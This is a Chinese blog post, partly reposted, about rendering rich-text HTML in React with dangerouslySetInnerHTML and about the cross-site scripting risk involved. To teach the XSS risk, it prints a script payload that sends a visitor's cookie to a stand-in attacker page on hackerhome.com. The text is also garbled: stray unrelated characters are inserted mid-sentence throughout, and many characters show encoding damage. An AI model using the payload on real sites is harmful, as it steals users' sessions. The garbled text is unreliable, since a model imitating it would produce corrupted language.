在react中，通過富文本編輯器進(jìn)行操作后的內(nèi)容渊抄，會(huì)保留原有的標(biāo)簽樣式，并不能正確展示丧裁。
在顯示時(shí)护桦，將內(nèi)容寫入__html對(duì)象中即可。具體如下：
<div dangerouslySetInnerHTML = {{ __html: checkMessages.details }} />
如果是直接調(diào)用接口中的值煎娇，則是以上的寫法二庵，如果是單純的顯示固定的內(nèi)容，用如下的寫法：
<div dangerouslySetInnerHTML={{ __html: '<div>123</div>' }} />
原理：
1.dangerouslySetInnerHTMl 是React標(biāo)簽的一個(gè)屬性缓呛，類似于angular的ng-bind催享；
2.有2個(gè){{}}，第一{}代表jsx語法開始哟绊，第二個(gè)是代表dangerouslySetInnerHTML接收的是一個(gè)對(duì)象鍵值對(duì);
3.既可以插入DOM因妙，又可以插入字符串；
4.不合時(shí)宜的使用 innerHTML 可能會(huì)導(dǎo)致 cross-site scripting (XSS) 攻擊。 凈化用戶的輸入來顯示的時(shí)候攀涵，經(jīng)常會(huì)出現(xiàn)錯(cuò)誤铣耘，不合適的凈化也是導(dǎo)致網(wǎng)頁攻擊的原因之一。dangerouslySetInnerHTML 這個(gè) prop 的命名是故意這么設(shè)計(jì)的以故，以此來警告蜗细，它的 prop 值（ 一個(gè)對(duì)象而不是字符串 ）應(yīng)該被用來表明凈化后的數(shù)據(jù)。
相關(guān)資料：
轉(zhuǎn)載自https://blog.csdn.net/exploringfly/article/details/80582859
什么是cross-site scripting (XSS)攻擊：
XSS示例
在深入了解XSS的各個(gè)方面之前怒详，讓我們首先了解XSS攻擊到底是怎樣完成的炉媒。
就以一個(gè)博客應(yīng)用為例。其常常需要允許讀者對(duì)博主的文章進(jìn)行評(píng)論棘利。在輸入評(píng)論的編輯欄中橱野，我們可以輸入對(duì)該文章的評(píng)論，也可以輸入以下HTML標(biāo)記：
1 <Script>alert(“XSS attack available!”);</Script>
在讀者按下提交鍵之后善玫，該標(biāo)記將被提交到服務(wù)器上水援，并在其它用戶訪問時(shí)作為評(píng)論顯示。此時(shí)該用戶所看到網(wǎng)頁中包含該標(biāo)記的部分元素可能為：
1 <div>
2? ? <Script>alert(“XSS attack available!”);</Script>
3 </div>
而從用戶的角度來看茅郎，該網(wǎng)頁中就出現(xiàn)了一個(gè)警告：
也就是說蜗元，用戶輸入的腳本語言已經(jīng)被用戶的瀏覽器成功執(zhí)行。當(dāng)然系冗，這可能只是一個(gè)對(duì)該網(wǎng)站的善意提醒奕扣。但是對(duì)于一個(gè)真正具有惡意的攻擊者，其所插入的腳本代碼更可能如下所示：
1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2? ? width=16 height=16 border=0 />');</script>
該段腳本將向當(dāng)前評(píng)論內(nèi)插入一個(gè)圖片掌敬，而該圖片所對(duì)應(yīng)的URL則指向了hackerhome中的JSP頁面grabber.jsp惯豆。從訪問該評(píng)論的用戶這一角度看來，其僅僅是一個(gè)不能顯示的圖片奔害。但是對(duì)于惡意攻擊者而言楷兽，該JSP頁面將自動(dòng)記錄傳入的msg參數(shù)內(nèi)容，即訪問評(píng)論用戶所使用的cookie华临。該cookie可能包含用戶的敏感信息芯杀，甚至是用戶名，密碼等重要信息雅潭。
所以揭厚，react的做法是不直接讀取你的html代碼，以此來避免cross-site scripting (XSS)攻擊扶供，讓你的代碼更加安全
轉(zhuǎn)載自https://www.cnblogs.com/xianyulaodi/p/5038258.html
